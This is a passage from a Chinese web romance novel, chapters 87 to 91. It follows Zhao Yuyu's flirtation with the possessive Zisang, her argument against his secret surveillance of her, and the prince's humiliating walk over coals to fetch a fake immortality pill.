然而他瞧着书中的文字,原本无趣低垂的眼眸逐渐放大,双眼睁圆睁大,伸长了脖子低头凑上前些瞧清楚。
很快,这本薄书便翻完了,子桑合上书神色有些恍惚,缓了片刻,忍不住又翻开书细细看了一遍,而后将书一丢,在书架上翻找。
*
“哈~~~”
赵玉屿从睡梦中醒来,精神抖擞伸了个懒腰。
昨晚她同宋解环边绣花边聊天到了三更才睡下,好在没有子桑撩拨纠缠,她这一觉睡得饱满,直到晴空高照才起床。
洗漱完赵玉屿在脸上擦着香,忽然对这难得的安静有些奇怪。
虽然奉仙宫如今一般轻易没人打扰她,但往日里子桑大清早见不到她就会跑来缠着她,如今都日上三竿了,内殿那居然没有丝毫动静。
她打开门唤来昨晚守夜的小神侍:“神使大人今早来了吗?”
小神侍摇了摇头:“没有,神使大人从昨晚就一直在摘星楼没出来。”
“没出来,也没沐浴、没用膳吗?”
小神侍接着摇了摇头:“没有,一直在楼里呢。”
听到这话赵玉屿更奇怪了,晨起沐浴是子桑一直以来的习惯,就算是两人流落在外时,他也从不委屈自己。
今日这是怎么了?
赵玉屿索性去小厨房拎了早膳,前往摘星楼探探究竟。
她如今同小白关系处得好,用一块糕点贿赂了小白,直接乘着它落在摘星楼顶楼的藏书阁。
从外面推开扇门,一道阳光寻着打开的门迹如同锋刀切割落入屋内后骤然打散,晕了满地的碎金。
楼中空荡不见人迹,赵玉屿拎着食盒朝里走去,穿过道道书架,见小榻上也无人,却有吃剩的果壳,想来子桑的确在这。
“子桑大人,你在哪儿?”
赵玉屿轻唤着朝书架走去,林立的书架如扇如屏阻隔了视线,脚下不小心踢到了一本凌乱丢开的书。她捡起书,书封上写着《春秧记》三个字,赵玉屿翻开瞧了一页,开篇是春日农家犁地,应当是将如何插秧的吧。
她没多留意,合上书放回书架,走了几步又瞧见一本书,捡起一看,《扶柳录》。
赵玉屿没有多想,只当是子桑随手丢在地上的,然而再往前走,地上的书越来越多,堆满了书架间的小道让她无从下脚。
左瞧右瞧却不见子桑的身影,赵玉屿叹了口气,想来这小祖宗昨晚上是无聊到看了一整晚的书。
她蹲下身子收拾地上凌乱的书堆,有几本画册散开,赵玉屿无意中瞥见,目光微顿,以为自己看错了。
捡起画册一细看,卧槽春宫图!
这上面的画像栩栩如生,十八般武艺样样都有,瞧得赵玉屿都有些脸红。
她合上画册,又捡起另外一本画册,嗯,还是春宫图。
再打开一本,还是春宫
赵玉屿脑海里有些东西在崩塌,她又捡了个话本打开,初看只以为是书生小姐的爱情故事,再一细看,满篇的缠绵悱恻、鸳鸯交颈,用词之大胆令人惊叹,言语之放荡令人愕然,不多时赵玉屿便面红耳赤似朝云。
她暗自腹议,没想到啊子桑昨晚上居然一个人在这里看了一堆的小黄书。
赵玉屿望了眼堆成山的书册不由感慨,不愧是精力旺盛的少年郎,也不怕上火的。
她合上书,正想将书收拾好,回身挪步,一抬头猝然撞入一道悄无声息的身影上。
赵玉屿吓了一跳,下意识朝后退去,脚踩到书堆上后仰滑到,映入眼中的是子桑如水的眼眸。
她想要抓住子桑站稳脚步,也不知是否是她力气太大,子桑竟也被她扯得顺势朝下扑去。
本就凌乱的书堆如白鸽,如被石击的水花哗浪浪扑落满地。赵玉屿哎呦一声,好在子桑双手护住她的头腰倒地,没伤到分毫。
只是这般子桑虽护着她,却也完全地压在她身上。
两人鼻息相贴,赵玉屿脸一红,微微偏头问道:“你干嘛站在后面吓唬我。”
子桑低声道:“我见你看得入迷,怕打扰到你。”
偷看小黄书被发现,赵玉屿顿时反驳:“我才没看,明明是你”
她话说到一半闭了口,此时他们身下便是满地的春宫柳曲淫言艳词,两座书架之间只容一个窄道,子桑在书画的裹挟下压在她身上,本就狭小的空间更显拥挤,两人仿佛被挤到逼仄的贝壳中,身贴着身,肌肤灼热,她甚至能感受到子桑压着她的心跳。
空气仿佛也晕着暧昧,寂静中能听到她自己逐渐加快的心跳,赵玉屿忍不住屏气呼吸,仿佛这样能离子桑远一些,小声道:“你先起来。”
子桑却状若未听到她的话,反而凑到愈近,在她耳边低声道:“玉儿,我昨日学了好些东西。”
赵玉屿自然知道他学的是什么,面色愈加得红,面上却只得装作不知:“那,那挺好的,对了,你饿了吧,我带了早膳过来,先吃些东西吧。”
她本想岔开话题,推开子桑起来,没成想手刚搭在子桑的肩上便被他握住。
修长的手指揉捏着她的手,大拇指的指腹顺着掌心缓缓滑到手腕内侧,细腻的小臂,而后顺势将她的手臂搭在自己的脖颈上,两人便贴得更紧了。
他垂眸望向赵玉屿的唇,眼中微黯,低声道:“的确有些饿了。”
说罢,他已经俯身覆上赵玉屿的唇,将她未来得及说出的推脱之言尽数吞入口中。
“唔”
两人并非第一次唇齿交缠,赵玉屿虽不排斥,这次却有些莫名的害怕。
往日子桑虽吻她,眼中却真挚而缠绵,仿佛这是他诉说爱意的方式,却从未有过今日这般浓烈的情欲和占有。
他的吻愈加深入,深入到即便有了些经验的赵玉屿
也应付不得,细碎的呻吟断断续续从唇齿间传出,是低喃的告饶。
子桑似乎顿了片刻,而后是更为深入的纠缠和撩拨,直到赵玉屿觉得眼前恍惚时,他才松了口。
一瞬间仿佛得了救赎,赵玉屿胸膛剧烈起伏,大口大口地呼吸,刚缓上一口劲,忽然身子一僵,忍不住传出一声低呼。
子桑已经咬上她的耳尖,细细舔舐着小巧的耳廓。灼热的气息顺着敏感的耳道流遍全身,如触电般让她僵硬住,而后,细密绵延的吻顺着耳后向下,落下一路湿热的痕迹。
他抱着赵玉屿,随着落下的吻微微弓起身子,原本垫在她脑后的手也顺着吻痕一路向下,顺着她的背脊落在腰间摩挲。
赵玉屿情不自禁闷哼出声,她有些迷茫却又有些自得,许是方才看的禁书刺激了神经,她竟想着子桑的吻技简直进步神速,只钻营几本书便熟稔至此,可见天赋异禀。
许是感受到她的走神,子桑咬了她一口。
酥麻和微痛像是刺入体内的兴奋剂,让赵玉屿不由惊呼一声,低头望去,正对上子桑润如水色荡漾却有些不悦的眼神。
“你在想什么?”
赵玉屿抿了抿唇,有些心虚,总不能说自己在感叹他吻技好。
子桑嘟囔一声:“不准走神。”
而后,他再次追上赵玉屿的唇堵了上去。
有了经验,赵玉屿也抱紧他的脖颈,躺在书堆上细细回应他的吻。
细碎的低吟声中,初尝情欲的少年少女总是带着些好奇,青涩地尝试着各种可能,直到赵玉屿感到腰间一凉,冰冷细腻的触感传遍全身,她打了个寒颤,才猛然回过神来,有些慌张无措地低唤道。
“子桑大人。”
“嗯?”
子桑应着,那一点冰凉已经沿着细滑的肌肤摩挲着游移向上,即便隔着一层薄绸,也能感受到掌下的柔软。
赵玉屿穿得是上等细滑的苏罗,子桑却觉得这绸缎有些碍手,勾起肚兜的边缘滑了进去。
刹那间,从未有过的异样感让赵玉屿浑身僵住,下意识想要扭身躲开。
然而子桑的手在她的衣襟内,她躲避的动作不仅没有作用,反而让本就在意乱情迷中被扯松的衣襟愈加松散,从敞开的衣口甚至能看到子桑骨节分明的手。
赵玉屿的脸红如霞,滚烫的热意随着子桑掌心的温度一阵阵上脸蒸得她头脑晕眩。
她伸手按着子桑胡作非为的手不让他乱动,结结巴巴道:“子,子桑大人,你别”
然而她的阻拦并未见效,子桑任由她按着,指尖只微微一撩拨,赵玉屿便忍不住轻哼一声颤了颤身子。
子桑嘴角勾起一抹笑,有些恶劣又暧昧的低下头,凑到她红如蒸蟹的面容前轻问道:“玉儿,你怎么了?”
第88章
见他明知故问,赵玉屿暗骂他怎么如此厚脸皮,朝他脸上啐了一口,低声道:“起开。”
子桑却不应,反而闷声笑着趴在她身上,掌下的动作也愈加得放肆,在她耳边叫屈道:“玉儿,你昨日同姓宋的呆了一晚上,都没想过我是怎么过的。”
赵玉屿见他竟死皮赖脸不愿意下去,还叫起了委屈,伸手就要推开他:“我瞧你这不也过得好好的。”
“谁说我好好的,我一晚上都没睡着。”
“那是你看小黄书看的!”
子桑反而笑了,顺着话上杆子爬:“书中别有一番天地,玉儿,改日咱们一块研习。”
见他居然如此厚脸皮,赵玉屿直接咬上他的嘴,子桑原见她主动,略撅起嘴迎上前,没成想赵玉屿直接咬住了他的嘴巴。
“唔!”
子桑被啃了个正着,手下一松,赵玉屿顺势将他手抽出,用力推开他。
子桑没有着力点,也没料到她使了十足的蛮力,被推得歪倒在一旁,顺着滑落的书堆撞到书架。
赵玉屿整理好衣裳爬起来,居高临下望向他:“活该,让你学坏。”
子桑却没有回话,捂着脑袋闷哼。
赵玉屿心中一紧,以为他撞到了脑袋,连忙蹲下查看:“没事吧,我看看伤到哪了?”
子桑一把拉住她,将她按在怀中,眼中笑意哪有吃痛的模样。
见被骗,赵玉屿气道:“你使诈!”
子桑轻哼:“你方才不也使诈了。”
“那还不是因为你耍流氓!”
子桑不解:“我哪里耍流氓了?”
“你!你都”
赵玉屿不知道如何解释,子桑反而坦坦荡荡将手放在她胸上问道:“这样?”
赵玉屿:“!”
子桑捏了捏:“我的一切都是你的,你的一切自然也是我的。”
他握住赵玉屿的手按在自己胸膛上,温热的掌心能感受到他节奏分明的心跳。
子桑略微低头,额头抵着她的额头:“若是旁人敢有对我有这种念头,自然是要死的。但你不同。玉儿,我心悦你,你想怎么对我都可以,就算让我死我也甘之如饴。”
赵玉屿心中一怔,她知道子桑喜欢自己,却没想到他会说出这种话。
她捧起子桑的脸:“我从未想过让你死,我只想让你活下去。还有”
赵玉屿嘴角略抽,“不过在你说这么感人的话时,能不能现把手放下。”
子桑又捏了捏,一脸真诚:“可是好舒服。”
赵玉屿:“”
她一巴掌按在子桑脸上,将他连人带脑袋按到书堆里,干净利落起身。
“再耍流氓晚上照旧自己睡!”
当然,经过一晚上的孤寂,又经过小黄书的洗礼,想让子桑心甘情愿自己独睡是不可能的了。
当晚,子桑在温泉池泡完澡将自己洗得干干净净后便兴冲冲骑着小白落在赵玉屿门前。
赵玉屿正趴在床上翻开自己这段时间得来的道具。
子桑的好感度到了90%,系统的任务奖励被她用来换了瘟疫配方,好在主线任务的完成让她还有一个道具【素月皮】。
赵玉屿捏着手中轻薄如蝉翼的素月皮,柔软富有弹性像擀得透明的面皮。
她问道:“系统,这个东西不是这个世界的产物吧。”
【是的,系统的能力是在一定权限内调动三千世界的物品,这个素月皮乃是另一修仙世界所造的产物。】
赵玉屿听到这话好奇道:“当真有修仙世界?”
【当然,三千世界各自有各自的规则。就算是系统也只能在不触动世界规则的前提下造出bug来尽可能改变世界的结局。比如宿主您就是BUG之一,你所获得的道具也是BUG。】
赵玉屿把玩着素月皮:“所以说,每个世界有每个世界的天道在操控,而系统就是入侵既定程序的病毒,专门制造各种小BUG,想要通过BUG改变世界原本的路线。”
【可以这么理解,但病毒一词是否有些难听。】
赵玉屿没理它:“但是既然是BUG就有可能被发现啊,一旦被发现”
她顿了顿,“天道不就会自动修复BUG。”
【宿主说得没错,不过任何事情都要看程度,世界本就是在不断变化,一念生万物,每个人不同的念头都有可能产生蝴蝶效应造成不同的结局,如此,世界的BUG太多,天道是修不完的,所以只要历史的走向没有大偏差,天道就不会发现问题。】
赵玉屿低吟:“可对于由原著衍生出的世界来说,如果原著最后的结局改变了,历史的走向也会彻底改变,天道必然会发现问题,那”
【是的,一旦宋承嵘死去,而子桑鸓活过了大结局的那一晚,天道必然会发现异常开启“除虫模式”。但是宿主请放心,“仙鹤永存”隐藏任务就是为了应对天道,系统会造出替代品代替子桑鸓死去,不过宿主大概率会被消灭哦。】
赵玉屿不由攥紧手掌,系统安慰道。
【请宿主放心,系统会送您回到属于您的世界,毕竟您本就不属于这里。】
是啊,她本来就不属于这里。
可是如果她离开了,子桑鸓怎么办?
赵玉屿垂下眼眸,脑海中回想起白日里子桑鸓说得过的话。
“你想怎么对我都可以,就算让我死我也甘之如饴。”
他真的有这么喜欢自己吗?
如果她离开了,子桑会生气的吧。
毕竟她说过会陪他到最后。
“你一个人在这自言自语什么呢?”
一道熟悉的声音从床帘外,赵玉屿回过神来连忙收回素月皮:“不是让你自己睡吗,跑我这来干嘛?”
子桑已经脱了鞋子,撩起床帘熟练地钻进被窝抱住赵玉屿:“我一个人睡不着。”
赵玉屿本想轰他下去,但转念想到方才系统的话,抵在他胸膛的手便软了下去,翻身盖紧被子闷闷道:“你要睡就睡吧。”
子桑察觉到她的低落,从后面圈住她的腰肢,蹭了蹭她的颈弯:“怎么了?”
赵玉屿低声道:“子桑大人,要是有一天我不在你身边了,你会想我吗?”
子桑搂着她的手臂微僵,原本旖旎的声音冷了下来:“什么意思?”
赵玉屿转过身解释:“我不是要离开你,我是说,你总觉得自己会先一步离去,但人生无常嘛,如果,如果我比你先离开了,你会想我吗”
子桑忽而咧开嘴低声促笑,他的笑意虽大却有些毛骨悚然,充斥着疯狂和眷恋。
他将头埋在赵玉屿的颈弯里,冰凉的唇吻了吻她的脖颈,激起一阵颤栗。
“玉儿放心,不会有这种事情发生。”
第89章
他的舌头舔舐着赵玉屿的肌肤:“人生得意须尽欢,玉儿,珍惜当下就好,你会长命百岁,岁岁无忧的。”
赵玉屿听到这话瞪大眼睛:“你怎么知道这首诗?”
她转念一想,这世界万物都可为子桑所用,甚至连人都能操控,他又有什么不知道的,顿时气恼:“你监视我!”
子桑搂住她张牙舞爪的手:“我是在保护你。奉仙宫也并非完全安全,宋承嵘能派人暗杀一次,就可能会有第二次第三次。”
赵玉屿却反驳道:“保护一个人有很多种方式,但绝没有不经过别人同意就暗自监视这种方式。你当真是为了保护我,还是因为不喜欢我同旁人在一块,所以想要知道我的一举一动。这不是保护,这是自私,是占有。”
子桑被戳破心思,却对她的话仍然不理解:“我的确想知道你的一举一动,想让你一直待在我身边,但是你不高兴我便不勉强你。可我无法放心你一个人,这个世界上除了你我谁都不相信。我担心你会受伤,会被欺负,这有错吗?”
赵玉屿坐起身,耐心解释:“子桑大人,你的担心没有错,但是你的方式让我无法接受。如果你想同我在一块,就该尊重我。好比派人监视我这件事,你想要保护我可以先同我商量啊。你知道吗,方才我知道自己的一举一动都被人监视着,没有隐私没有自我,甚至没有拒绝的权力,这种感觉很不好,让我觉得自己是一个被人随时观赏的玩物。”
子桑从背后抱住她:“玉儿不是玩物,玉儿是珍宝。”
“可被监视的感觉就是如此,我不喜欢。”
听到这话,子桑垂眸道歉:“玉儿我错了,我不该不告诉你就监视你,以后任何事情我都会先同你商量再做,你别生我的气好吗?”
见他如此快就认识到了错误,赵玉屿笑了笑:“嗯。”
子桑接着郑重道:“那我以后可以继续监视你吗?”
赵玉屿:“”
赵玉屿一时无语凝噎,子桑这个人真是你说他错了,他不理解但是他知道你在生气,所以真诚的道歉,真诚的祈求原谅,然后真诚的询问你他可以继续错下去吗。
不,不对,他根本就不认为自己错了,只是因为自己表达了被隐瞒的不满,所以在他那里多了道流程,需要提前告知她而已。
赵玉屿叹了口气:“子桑大人,如果我说不行呢?”
子桑沉默不语。
赵玉屿扭身回望他:“你还是会继续监视的吧。”
子桑毫不犹豫点了点头。
果然。
赵玉屿无奈挠了挠脸:“那咱们换种方式,以后我去哪里都带着来福,来福又聪明又厉害还通人性,遇到危险也能保护我,你总不至于担心了吧。”
来福是藏獒和田园犬的后代,一直养在后院看管子桑豢养的各种动物,完美继承了它爹的凶悍和它娘的忠诚,黑背黄腹,个大牙长,彪悍勇猛,用来当保镖再合适不过了。
子桑犹豫片刻,赵玉屿捧起他的脸:“子桑大人,来福忠心护主又凶悍,有它在,旁人根本不敢近我身,我带出去还有面子,比人可要可靠多了。而且,比起其他人,来福毕竟是只狗,我也不会不自在,一举两得呀。”
子桑被说服了,他搂着赵玉屿:“那好吧。”
赵玉屿眼前一亮,猛然抱住子桑的脖子亲了他一口:“太好了,子桑大人,你最通情达理了。”
子桑被她亲得心神荡漾,刚想低头吻上去,赵玉屿就已经起身将他拉下床,穿了鞋子迫不及待道:“快,我们现在就去将来福放出来!”
子桑:“?”
怎么感觉掉进了某种圈套。
赵玉屿兴冲冲拽着子桑跑到神兽院。
天知道她觊觎这只毛绒绒的黑背帅狗多久了,每次路过都想摸一摸,但是这狗太过尽职尽责,不管她喂了多少肉对她都爱答不理,整日只趴在门前看管院子,除了子桑不准他人踏进一步,否则便放声恐吓。
既然子桑非得保护她,赵玉屿就顺势要了来福,一来来福威武的确是个好保镖;二来可以让子桑安心撤了那些暗中的监视,就算子桑不撤,有来福在也能将那些人吓退;三来,她可以尽情蹂躏狗宝,一箭三雕!
神兽院地处奉仙宫最西边,位置偏僻,两人乘着小白离得老远就寻着月色看到一只趴在院门口阖眼打盹的大块头。
刚一落地,那大块头就猛然惊醒,两条后腿蹲地,前腿支起,上半身昂首挺胸,神气十足,宛若镇宅的石狮子,尾巴却摇得极其欢快,显然是闻到了子桑的气味。
赵玉屿踮脚上前两步靠近它,来福嗅了嗅她身上的味道,虽不算熟悉却笼罩着子桑的气息,让它有些困惑,尾巴摇摆的力度小了些,歪了歪头望向赵玉屿身后的子桑。
子桑吹了声口哨,缓缓道:“日后玉儿就是你的主人,你需尽心待她如同待我。”
来福中气十足“汪”了一声已应下,赵玉屿伸手揉了揉它的脑袋,来福顺服的低头由她抚摸。
毛绒绒的手感让赵玉屿心都快化了。她抱住来福的脑袋亲了一口:“乖宝,姐姐会对你很好的!”
来福低哼一声,湿漉漉的黑鼻子凑到赵玉屿掌心嗅了嗅,赵玉屿捧起它的鼻头亲了一口。
可耐!
子桑见状皱着眉头拉起赵玉屿嫌弃道:“它都许久没洗澡了,脏得很。你先回去休息,我带它去洗个澡。”
赵玉屿兴致勃勃自告奋勇:“我来给它洗。”
子桑果断拒绝:“不管怎么说,它也是只公的。”
见他来狗的醋都吃,赵玉屿忍不住笑出了声:“好吧,那我先回去。”
“嗯。”
看着赵玉屿乘鹤离开后,子桑蹲下身子,挠了挠来福的下巴缓缓问道:“玉儿的气息好闻吗?”
来福受用得昂起脑袋,喉咙呼噜呼噜享受着他的抚摸,伸出柔软的长舌舔了舔他的掌心。
子桑轻拍了下它的脸,语气中带了丝嫉妒,冷哼一声:“看你这下作的模样。”
来福哼唧一声,抬起圆溜溜的眼睛望向他,有些委屈。
子桑轻柔抚摸着他的黑脑袋,缓声而又冷然叮嘱道:“任何靠近玉儿的人都给我狠狠咬,
咬死他,听到了吗?”
来福收到命令,耳尖一动,顿时雄赳赳气昂昂抬首挺胸,声如洪钟叫应一声。
*
翌日清晨,天色紫阴阴雾蒙蒙,日头未出,晨光未露,帝都的长街上已经熙熙攘攘涌满了人,就连各家酒楼茶馆都已一大早挂上牌子开了门。
有刚入城的行商钻入人群抵了抵旁边人的胳膊问道:“兄弟,今日怎么这么热闹?”
未等旁边那人开口,就有人兴冲冲回道:“嗐,帝都这几日都传开了,太子殿下得罪了抚鹤神使,要从长安门一步三叩首到奉仙宫谢罪!”
另一人道:“不对不对,我听说是神使带回了长生不老药,原本要圣上斋戒三日,过火海,穿冰原洗净纤尘方能得到仙丹。但是太子不忍圣上遭罪,就自愿替父受灾。”
又有人道:“我怎么听说是太子行事不妥,导致渝州降下天灾瘟疫肆虐,所以太子要自罚以求上苍原谅呢?”
人群中嚷嚷一声:“嗐,管他呢,有热闹看不就行。总归咱今日能瞧见这太子遭罪,也算是开眼了。”
众人哄哄闹闹等了半晌,天色破晓那刻,奉仙宫宫门大开,承天台前巨大的广场上,两队神侍对列而立,他们面前的走道铺了厚厚一层燃烧的炭火,往上走,汉白玉基地台阶用冰水泼了一层又一层,在早春尚未如暖的季节,水流凝聚成冰覆盖在台阶上。
再往上,承天台祭祀中央,子桑慵懒靠坐在小叶紫檀披鹿绒长椅里,椅下,白鹤跪地,獒犬昂首,神猴跪侍。
赵玉屿原被他拉着挨坐在长椅里,感觉着实不妥,见宫门大开,从他怀里一溜烟钻出来站在长椅旁侍奉。
子桑抬眼望她有些不悦,赵玉屿低声道。
“不管怎么说我是你的侍女,该有的面子功夫还是要做的。今日这全帝都的人怕是都来看热闹了,大庭广众拉拉扯扯成何体统,你好歹也是神使,太放浪不羁有损你在百姓心目中的形象。”
子桑原是坐在长椅正中央,见她死活不愿意坐下,只得朝旁边挪了挪,挤到长椅边缘,将头挨靠着赵玉屿。
赵玉屿见他旁若无人的贴贴,有些好笑脸又有些红,推了推他:“椅子这么大地方,你朝这边挤什么?”
子桑不理,拉着她的手:“你又不愿意挨着我,那我便挨着你些。”
赵玉屿打掉他的手:“你注意点。”
两人正说着悄悄话,就见宫外人群一阵骚动惊呼,抬眸望去,穿过宫门人群,一个穿着白色教袍的身影出现在宽阔的长街尽头。
他神色端庄,双手作揖,一撩衣摆下跪叩首,而后起身前行,三步之后再次叩首,动作行云流水一气呵成。
虽下跪,但背却笔挺板,越显得身形修长,器宇不凡。
赵玉屿不由感叹:“能屈能伸啊。”
这种事情对于宋承嵘来说算是奇耻大辱了,但是他此时面上却不见丝毫羞恼,仿佛庄严肃穆,一心求神,让原本来看热闹的百姓也都一时嘘了声,目光凝游在他身上,一路随着他入了奉仙宫。
子桑嗤笑一声:“不碍事,看我待会气死他。”
赵玉屿:“?”
第90章
虽不知子桑要做什么,但赵玉屿也不阻拦。
替父求丹是宋承嵘自己决定的,刺杀使团也是宋承嵘下的命令,没有人逼迫他,既然做了决定那就该想当会遭到怎样报复和羞辱。
人总要为自己的选择付出代价,亦如当初宋承嵘为了太子之位选择抛弃何附子,那再见面时就该放手,不要再打扰何附子的生活。
可宋承嵘这个人却拎不清,或者说自私又自大,什么好事都想沾,却又什么代价都不愿付出。
他离开何附子时未曾想过从小就失去双亲的何附子,被抛弃会是怎样痛彻心扉,也从未在刺杀子桑时考虑过使团其他无辜的人。
原著里他面对何附子便总说自己身不由己,总是说一切都是被责任和命运推着走,可实际上选择权一直都在他自己手上。
一切的说辞不过是他替自己开脱的借口而已。
这种人,不值得同情。
宋承嵘走进奉仙宫门,望着眼前一路铺尽的炭火,眼皮一跳,攥紧拳头。
一旁等候多时的神侍已经垂首跪地。宋承嵘抬起脚,神侍将他的鞋袜褪下,起身朝他行了一礼后退居两侧。
宋承嵘站在炭火路的边缘,燃烧的火苗在空气中扭动,他甚至能感受到荡起的蒸腾热气舔舐着脚踝,如同等待吞噬猎物的饿鬼。
随宋承嵘前来的侍从有些不忍,忍不住拦住他低声道:“太子殿下,要不还是属下替殿下走吧。”
宋承嵘目光笔直向前,望向承天台上疏懒靠坐看着热闹的子桑:“孤与父皇父子连心,方能替父求丹,旁人如何能使得。”
侍从不忍:“可是这条路走下去,脚怕是要废了啊。”
宋承嵘平淡道:“天将降大任于斯人也,必先苦其心志,劳其筋骨【1】,孤走到今天这一步已经放弃太多,如何能在此退却。”
这两日宋承嵘也想明白,这场戏本就是子桑对他的报复,将他架在台面上,让他如同优伶一般出丑,让帝都的百姓都来看他的笑话。
宋承嵘虽不信长生不老之说,但他不能退缩,否则失去了父皇的信任,他就真的成了一个笑话。
他抬脚,踩在猩红的炭火之上。
脚下传来噼里啪啦的燃烧声响,灼烧的剧痛从脚底传来,宋承嵘脸上瞬间失去血色,双唇苍白,密密麻麻的细汗从额头渗出。
他咬牙,在炭火路上艰难前行。一步一步,在宫门外围观百姓的目光中,在两旁神侍低垂下的面容中,跌跌撞撞走过了一条火路。
而后,面前是层层冰梯。
他的脚被炭火烤灼,皮开肉绽,灰焦一片,如今赤脚踩在冰阶上,脚下顿时滋啦啦地响,像是铁板上的鱼,子桑忍不住笑出了声。
极热极冷交替,宋承嵘双脚抽搐,扑通一声跪在了台阶上,狼狈不堪。
头顶传来子桑轻飘飘的告诫:“太子殿下,吉时快过了,你如此拖沓踌躇,若是耽误了仙丹的药效该如何是好?”
宋承嵘倒吸一口冷气,强撑起身体想要走上去,然而他的脚血肉模糊根本无法前行。
宋承嵘咬了咬牙,攀着台阶,在众目睽睽之下一点一点朝台上爬去,气喘吁吁爬到了子桑的脚下,艰难摆正姿势跪地:“请神使赐药。”
子桑耸动鼻尖,旋即以袖掩鼻,偏头朝赵玉屿嫌恶道:“玉儿,哪里来的糊肉味,焦臭难闻,恶心死了。”
赵玉屿宽慰道:“神使大人您许是又犯了心病,想起当初海上的火灾了。大人放心,如今是帝都,正气浩然,邪祟宵小岂敢作怪。”
她瞥了眼宋承嵘,笑道:“太子殿下有所不知,当初在海上,使团船只不知为何起了火灾,神使大人被困房中无法脱身,这才落下了心病。”
宋承嵘苍白着脸色冷声道:“神使得天人眷顾,自然会万事无恙。”
赵玉屿笑道状若惊喜道:“太子殿下当真说对了!那晚千钧一发之际,海上竟下起了大雨,硬生生将火扑灭了,您说神不神奇,定是上苍保佑神使大人!神使大人有仙人护体,自然不用那些牛鬼蛇神!”
宋承嵘浑身颤抖,忍着剧痛附和:“神使自然有仙人之寿。”
子桑冷眸一瞥,轻嗤道:“世人皆知本尊二十而亡,太子此话倒是含讥讽之意。”
宋承嵘强撑着笑:“神使之亡乃是羽化登仙回归天位,自然与肉体凡胎不同。”
子桑打了个响指,一旁捧着漆盒的猴大将盒子呈上。子桑打开盒子,取出其中散发着淡淡异香的黑色丹丸,微微俯下身,将药丸置于宋承嵘面前,缓缓道。
“那太子殿下呢?长生不老药只有一颗,地上皇服用之后便可延年益寿,福康万年。而太子,永远只能是太子。”
宋承嵘目光不移:“父皇龙体安康,小子自然欣喜。”
子桑轻笑:“地上皇和太子父慈子孝,真是感人肺腑。”
他
将丹药放回漆盒,丢入宋承嵘的怀中,靠回长椅里惫懒道:“不过还请太子替本尊向地上皇转达,仙丹服下后需禁欲禁食,三日后即可见效。”
宋承嵘高举起漆盒:“多谢神使赐福。”
他艰难站起身,台下的侍从瞧见连忙跑上台阶搀扶他而下:“太子殿下,你的脚得尽快敷药才行。”
然而宫门前早已备好了车辇,静候一旁的小太监上前垂首道:“请太子殿下上轿,圣上已等候多时。”
侍从想要开口,却被宋承嵘按住手腕阻止。
“无事,父皇心系仙丹,孤需先去宫中复命。”
“可是您的脚”
“无碍。”
宋承嵘强撑起身子,在小太监的搀扶下上了车辇。
马车摇摇晃晃沿着众人退开的长街一路驶向长安门,穿过重重宫门长道停在了天祈殿前。
宋承嵘被小太监背下了车,一入大殿就看到龙椅上望眼欲穿的德仁帝。
德仁帝快步走下台阶迎上前:“如何?”
宋承嵘从小太监身上下来,跪地捧着漆盒端端正正行了一礼:“儿臣不负父皇所托,带回长生不老仙丹。”
德仁帝瞧见漆黑双眼发亮,连忙结果盒子打开,看到里面漆黑散发着异香的丹药,连连大喊:“好,好!这就是长生不老药,昔日开元始祖、玄武大帝穷尽一生都未曾得到的仙丹,朕却得到了,可见上天眷顾,上天眷顾啊哈哈哈哈哈哈!”
他仰头朗声大笑,宋承嵘抱拳:“恭喜父皇,贺喜父皇,父皇千功伟业,自当与天地同寿,万世不朽。”
德仁帝这才注意到宋承嵘的虚弱,快步扶起他柔声安慰道:“礼儿,你不愧是朕最优秀的儿子!快让朕看看你的伤如何了?”
宋承嵘虚弱笑道:“多谢父皇关怀,能为父皇赴汤蹈火乃是儿臣的莫大荣幸。”
德仁帝颔首欣慰地看着他:“礼儿辛苦了。”
他扬声吩咐道:“来人,带礼儿下去疗伤,宣太医,要用最好的药,不得让礼儿有丝毫的伤痕!”
宋承嵘行了一礼:“多谢父皇。”
他的脸上至始至终挂着苍白而虚弱的笑意,直到小太监背着他走出宫殿,面上的淡笑才冷了下来。
太医院忙里忙外,刮肉剔皮,敷药疗伤,方才将宋承嵘的双脚包扎好。
脚下冰凉的药膏和烧灼刺骨的剧痛混糅在一块阵阵传来,像是在刀锋上来回拉扯的麻绳。
宋承嵘在剧痛的恍惚中又想起那年雨夜,鼻尖似乎再次传来一股幽幽的药香。
他有些疲倦的闭上眼,心中第一次升起一股迷茫,开始怀疑自己的选择是否是错的。
这世上当真有长生不老药吗?
倘若是真的,那他这么多年的努力算什么,他的付出,他的放弃,他的隐忍,算什么?
*
“子桑大人,你给圣上的究竟是什么?”
鹤羽阁中,赵玉屿忍不住好奇问道。
这世上既然没有长生不老药,若是寻常养生的丹药给德仁帝,虽不会有差错,但人的老去在身体各机能方面都是有感觉的,德仁帝自然也没有那么好骗。
子桑从长椅中探起身子含笑道:“你亲我一下,我就告诉你。”
赵玉屿没好气地伸手捂住他的嘴上将他推开:“去你的,没瞧见我正在忙活吗?”
她正在给来福设计一款盔甲,穿上必定威风凛凛,帅气逼人,带出去多拉风。
子桑对她将注意力放在狗身上很是不满,将她抱在腿上坐下:“都未见你最近给我画衣裳,尽给那群畜生画了。”
赵玉屿见他连这都吃醋,抿嘴笑道:“你的衣服早就给你画好拿去做了,够你穿一阵的了。来福猴大它们可一件衣服都没有呢。”
之前她给猴大做得那件大圣装也早丢了,还得重新做。
子桑揉捏着她的腰:“那你想不想知道我给老头子的是什么?”
赵玉屿捏着笔扭身回望,眼中好奇:“想。”
子桑略昂起下巴,虽未说话,眼神却已示意。
赵玉屿抿嘴一笑:“那你闭上眼睛。”
子桑依言闭眼,而后就感到嘴上一凉,耳边响起赵玉屿忍笑的声音。
他睁开眼,赵玉屿已经从他怀中跳出跑开。
子桑摸了把脸,黑色的墨迹未干。
他气笑了,起身去抓赵玉屿,两人绕着大殿跑了半圈,赵玉屿还是被子桑堵住。
原本她是要求饶的,然而瞧见子桑被墨迹圈了一圈的嘴唇,忍不住笑得前俯后仰。
子桑眉梢一扬:“骗我还笑话我是吧。”
他俯身一把将赵玉屿扛在肩上,丢回长椅里。
赵玉屿见他拿起毛笔,连忙告饶:“子桑大人我错了,你放过我吧。”
子桑轻哼一声:“晚了。”
90-100
第91章
子桑剥开她的衣襟,露出水红色的绒鸭荷叶肚兜,苏罗肚兜在微暗的光线下泛着莹润波光,衬得白皙如羊脂般的肌肤更是细腻光洁。
子桑伸手挑起她脖颈间的细带,挂带松落,微露出一片雪白。
赵玉屿原本还笑着,忽而感到胸前一冷,连忙拉起衣服想要起身,却被子桑压在长椅里动弹不得。
他捏起毛笔,轻笑道:“想跑?”
